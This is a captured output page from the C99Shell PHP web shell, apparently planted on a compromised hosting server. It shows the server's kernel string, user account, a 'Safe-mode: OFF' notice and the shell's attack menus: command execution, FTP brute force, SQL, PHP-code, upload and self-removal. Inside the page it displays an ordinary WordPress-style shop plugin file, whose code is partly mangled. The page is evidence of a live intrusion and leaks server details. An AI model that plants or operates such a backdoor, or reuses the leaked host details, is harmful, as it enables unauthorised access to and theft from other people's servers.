!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/includes/   drwxr-xr-x
Free 289.21 GB of 429.69 GB (67.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-kkart-comments.php (12.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Comments
 *
 * Handle comments (reviews and order notes).
 *
 * @package Kkart\Classes\Products
 * @version 2.3.0
 */

defined'ABSPATH' ) || exit;

/**
 * Comments class.
 */
class KKART_Comments {

    
/**
     * Hook in methods.
     */
    
public static function init() {
        
// Rating posts.
        
add_filter'comments_open', array( __CLASS__'comments_open' ), 10);
        
add_filter'preprocess_comment', array( __CLASS__'check_comment_rating' ), );
        
add_action'comment_post', array( __CLASS__'add_comment_rating' ), );
        
add_action'comment_moderation_recipients', array( __CLASS__'comment_moderation_recipients' ), 10);

        
// Clear transients.
        
add_action'wp_update_comment_count', array( __CLASS__'clear_transients' ) );

        
// Secure order notes.
        
add_filter'comments_clauses', array( __CLASS__'exclude_order_comments' ), 10);
        
add_filter'comment_feed_where', array( __CLASS__'exclude_order_comments_from_feed_where' ) );

        
// Secure webhook comments.
        
add_filter'comments_clauses', array( __CLASS__'exclude_webhook_comments' ), 10);
        
add_filter'comment_feed_where', array( __CLASS__'exclude_webhook_comments_from_feed_where' ) );

        
// Count comments.
        
add_filter'wp_count_comments', array( __CLASS__'wp_count_comments' ), 10);

        
// Delete comments count cache whenever there is a new comment or a comment status changes.
        
add_action'wp_insert_comment', array( __CLASS__'delete_comments_count_cache' ) );
        
add_action'wp_set_comment_status', array( __CLASS__'delete_comments_count_cache' ) );

        
// Support avatars for `review` comment type.
        
add_filter'get_avatar_comment_types', array( __CLASS__'add_avatar_for_review_comment_type' ) );

        
// Review of verified purchase.
        
add_action'comment_post', array( __CLASS__'add_comment_purchase_verification' ) );

        
// Set comment type.
        
add_action'preprocess_comment', array( __CLASS__'update_comment_type' ), );
    }

    
/**
     * See if comments are open.
     *
     * @since  3.1.0
     * @param  bool $open    Whether the current post is open for comments.
     * @param  int  $post_id Post ID.
     * @return bool
     */
    
public static function comments_open$open$post_id ) {
        if ( 
'product' === get_post_type$post_id ) && ! post_type_supports'product''comments' ) ) {
            
$open false;
        }
        return 
$open;
    }

    
/**
     * Exclude order comments from queries and RSS.
     *
     * This code should exclude shop_order comments from queries. Some queries (like the recent comments widget on the dashboard) are hardcoded.
     * and are not filtered, however, the code current_user_can( 'read_post', $comment->comment_post_ID ) should keep them safe since only admin and.
     * shop managers can view orders anyway.
     *
     * The frontend view order pages get around this filter by using remove_filter('comments_clauses', array( 'KKART_Comments' ,'exclude_order_comments'), 10, 1 );
     *
     * @param  array $clauses A compacted array of comment query clauses.
     * @return array
     */
    
public static function exclude_order_comments$clauses ) {
        
$clauses['where'] .= ( $clauses['where'] ? ' AND ' '' ) . " comment_type != 'order_note' ";
        return 
$clauses;
    }

    
/**
     * Exclude order comments from feed.
     *
     * @deprecated 3.1
     * @param mixed $join Deprecated.
     */
    
public static function exclude_order_comments_from_feed_join$join ) {
        
kkart_deprecated_function'KKART_Comments::exclude_order_comments_from_feed_join''3.1' );
    }

    
/**
     * Exclude order comments from queries and RSS.
     *
     * @param  string $where The WHERE clause of the query.
     * @return string
     */
    
public static function exclude_order_comments_from_feed_where$where ) {
        return 
$where . ( $where ' AND ' '' ) . " comment_type != 'order_note' ";
    }

    
/**
     * Exclude webhook comments from queries and RSS.
     *
     * @since  2.2
     * @param  array $clauses A compacted array of comment query clauses.
     * @return array
     */
    
public static function exclude_webhook_comments$clauses ) {
        
$clauses['where'] .= ( $clauses['where'] ? ' AND ' '' ) . " comment_type != 'webhook_delivery' ";
        return 
$clauses;
    }

    
/**
     * Exclude webhooks comments from feed.
     *
     * @deprecated 3.1
     * @param mixed $join Deprecated.
     */
    
public static function exclude_webhook_comments_from_feed_join$join ) {
        
kkart_deprecated_function'KKART_Comments::exclude_webhook_comments_from_feed_join''3.1' );
    }

    
/**
     * Exclude webhook comments from queries and RSS.
     *
     * @since  2.1
     * @param  string $where The WHERE clause of the query.
     * @return string
     */
    
public static function exclude_webhook_comments_from_feed_where$where ) {
        return 
$where . ( $where ' AND ' '' ) . " comment_type != 'webhook_delivery' ";
    }

    
/**
     * Validate the comment ratings.
     *
     * @param  array $comment_data Comment data.
     * @return array
     */
    
public static function check_comment_rating$comment_data ) {
        
// If posting a comment (not trackback etc) and not logged in.
        
if ( ! is_admin() && isset( $_POST['comment_post_ID'], $_POST['rating'], $comment_data['comment_type'] ) && 'product' === get_post_typeabsint$_POST['comment_post_ID'] ) ) && empty( $_POST['rating'] ) && self::is_default_comment_type$comment_data['comment_type'] ) && kkart_review_ratings_enabled() && kkart_review_ratings_required() ) { // WPCS: input var ok, CSRF ok.
            
wp_dieesc_html__'Please rate the product.''kkart' ) );
            exit;
        }
        return 
$comment_data;
    }

    
/**
     * Rating field for comments.
     *
     * @param int $comment_id Comment ID.
     */
    
public static function add_comment_rating$comment_id ) {
        if ( isset( 
$_POST['rating'], $_POST['comment_post_ID'] ) && 'product' === get_post_typeabsint$_POST['comment_post_ID'] ) ) ) { // WPCS: input var ok, CSRF ok.
            
if ( ! $_POST['rating'] || $_POST['rating'] > || $_POST['rating'] < ) { // WPCS: input var ok, CSRF ok, sanitization ok.
                
return;
            }
            
add_comment_meta$comment_id'rating'intval$_POST['rating'] ), true ); // WPCS: input var ok, CSRF ok.

            
$post_id = isset( $_POST['comment_post_ID'] ) ? absint$_POST['comment_post_ID'] ) : 0// WPCS: input var ok, CSRF ok.
            
if ( $post_id ) {
                
self::clear_transients$post_id );
            }
        }
    }

    
/**
     * Modify recipient of review email.
     *
     * @param array $emails     Emails.
     * @param int   $comment_id Comment ID.
     * @return array
     */
    
public static function comment_moderation_recipients$emails$comment_id ) {
        
$comment get_comment$comment_id );

        if ( 
$comment && 'product' === get_post_type$comment->comment_post_ID ) ) {
            
$emails = array( get_option'admin_email' ) );
        }

        return 
$emails;
    }

    
/**
     * Ensure product average rating and review count is kept up to date.
     *
     * @param int $post_id Post ID.
     */
    
public static function clear_transients$post_id ) {
        if ( 
'product' === get_post_type$post_id ) ) {
            
$product kkart_get_product$post_id );
            
$product->set_rating_countsself::get_rating_counts_for_product$product ) );
            
$product->set_average_ratingself::get_average_rating_for_product$product ) );
            
$product->set_review_countself::get_review_count_for_product$product ) );
            
$product->save();
        }
    }

    
/**
     * Delete comments count cache whenever there is
     * new comment or the status of a comment changes. Cache
     * will be regenerated next time KKART_Comments::wp_count_comments()
     * is called.
     */
    
public static function delete_comments_count_cache() {
        
delete_transient'kkart_count_comments' );
    }

    
/**
     * Remove order notes and webhook delivery logs from wp_count_comments().
     *
     * @since  2.2
     * @param  object $stats   Comment stats.
     * @param  int    $post_id Post ID.
     * @return object
     */
    
public static function wp_count_comments$stats$post_id ) {
        global 
$wpdb;

        if ( 
=== $post_id ) {
            
$stats get_transient'kkart_count_comments' );

            if ( ! 
$stats ) {
                
$stats = array(
                    
'total_comments' => 0,
                    
'all'            => 0,
                );

                
$count $wpdb->get_results(
                    
"
                    SELECT comment_approved, COUNT(*) AS num_comments
                    FROM 
{$wpdb->comments}
                    WHERE comment_type NOT IN ('action_log', 'order_note', 'webhook_delivery')
                    GROUP BY comment_approved
                    "
,
                    
ARRAY_A
                
);

                
$approved = array(
                    
'0'            => 'moderated',
                    
'1'            => 'approved',
                    
'spam'         => 'spam',
                    
'trash'        => 'trash',
                    
'post-trashed' => 'post-trashed',
                );

                foreach ( (array) 
$count as $row ) {
                    
// Don't count post-trashed toward totals.
                    
if ( ! in_array$row['comment_approved'], array( 'post-trashed''trash''spam' ), true ) ) {
                        
$stats['all']            += $row['num_comments'];
                        
$stats['total_comments'] += $row['num_comments'];
                    } elseif ( ! 
in_array$row['comment_approved'], array( 'post-trashed''trash' ), true ) ) {
                        
$stats['total_comments'] += $row['num_comments'];
                    }
                    if ( isset( 
$approved$row['comment_approved'] ] ) ) {
                        
$stats$approved$row['comment_approved'] ] ] = $row['num_comments'];
                    }
                }

                foreach ( 
$approved as $key ) {
                    if ( empty( 
$stats$key ] ) ) {
                        
$stats$key ] = 0;
                    }
                }

                
$stats = (object) $stats;
                
set_transient'kkart_count_comments'$stats );
            }
        }

        return 
$stats;
    }

    
/**
     * Make sure WP displays avatars for comments with the `review` type.
     *
     * @since  2.3
     * @param  array $comment_types Comment types.
     * @return array
     */
    
public static function add_avatar_for_review_comment_type$comment_types ) {
        return 
array_merge$comment_types, array( 'review' ) );
    }

    
/**
     * Determine if a review is from a verified owner at submission.
     *
     * @param int $comment_id Comment ID.
     * @return bool
     */
    
public static function add_comment_purchase_verification$comment_id ) {
        
$comment  get_comment$comment_id );
        
$verified false;
        if ( 
'product' === get_post_type$comment->comment_post_ID ) ) {
            
$verified kkart_customer_bought_product$comment->comment_author_email$comment->user_id$comment->comment_post_ID );
            
add_comment_meta$comment_id'verified', (int) $verifiedtrue );
        }
        return 
$verified;
    }

    
/**
     * Get product rating for a product. Please note this is not cached.
     *
     * @since 3.0.0
     * @param KKART_Product $product Product instance.
     * @return float
     */
    
public static function get_average_rating_for_product( &$product ) {
        global 
$wpdb;

        
$count $product->get_rating_count();

        if ( 
$count ) {
            
$ratings $wpdb->get_var(
                
$wpdb->prepare(
                    
"
                SELECT SUM(meta_value) FROM 
$wpdb->commentmeta
                LEFT JOIN 
$wpdb->comments ON $wpdb->commentmeta.comment_id = $wpdb->comments.comment_ID
                WHERE meta_key = 'rating'
                AND comment_post_ID = %d
                AND comment_approved = '1'
                AND meta_value > 0
                    "
,
                    
$product->get_id()
                )
            );
            
$average number_format$ratings $count2'.''' );
        } else {
            
$average 0;
        }

        return 
$average;
    }

    
/**
     * Get product review count for a product (not replies). Please note this is not cached.
     *
     * @since 3.0.0
     * @param KKART_Product $product Product instance.
     * @return int
     */
    
public static function get_review_count_for_product( &$product ) {
        global 
$wpdb;

        
$count $wpdb->get_var(
            
$wpdb->prepare(
                
"
            SELECT COUNT(*) FROM 
$wpdb->comments
            WHERE comment_parent = 0
            AND comment_post_ID = %d
            AND comment_approved = '1'
            AND comment_type = 'review'
                "
,
                
$product->get_id()
            )
        );

        return 
$count;
    }

    
/**
     * Get product rating count for a product. Please note this is not cached.
     *
     * @since 3.0.0
     * @param KKART_Product $product Product instance.
     * @return int[]
     */
    
public static function get_rating_counts_for_product( &$product ) {
        global 
$wpdb;

        
$counts     = array();
        
$raw_counts $wpdb->get_results(
            
$wpdb->prepare(
                
"
            SELECT meta_value, COUNT( * ) as meta_value_count FROM 
$wpdb->commentmeta
            LEFT JOIN 
$wpdb->comments ON $wpdb->commentmeta.comment_id = $wpdb->comments.comment_ID
            WHERE meta_key = 'rating'
            AND comment_post_ID = %d
            AND comment_approved = '1'
            AND meta_value > 0
            GROUP BY meta_value
                "
,
                
$product->get_id()
            )
        );

        foreach ( 
$raw_counts as $count ) {
            
$counts$count->meta_value ] = absint$count->meta_value_count ); // WPCS: slow query ok.
        
}

        return 
$counts;
    }

    
/**
     * Update comment type of product reviews.
     *
     * @since 3.5.0
     * @param array $comment_data Comment data.
     * @return array
     */
    
public static function update_comment_type$comment_data ) {
        if ( ! 
is_admin() && isset( $_POST['comment_post_ID'], $comment_data['comment_type'] ) && self::is_default_comment_type$comment_data['comment_type'] ) && 'product' === get_post_typeabsint$_POST['comment_post_ID'] ) ) ) { // WPCS: input var ok, CSRF ok.
            
$comment_data['comment_type'] = 'review';
        }

        return 
$comment_data;
    }

    
/**
     * Determines if a comment is of the default type.
     *
     * Prior to WordPress 5.5, '' was the default comment type.
     * As of 5.5, the default type is 'comment'.
     *
     * @since 4.3.0
     * @param string $comment_type Comment type.
     * @return bool
     */
    
private static function is_default_comment_type$comment_type ) {
        return ( 
'' === $comment_type || 'comment' === $comment_type );
    }
}

KKART_Comments::init();

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.1013 ]--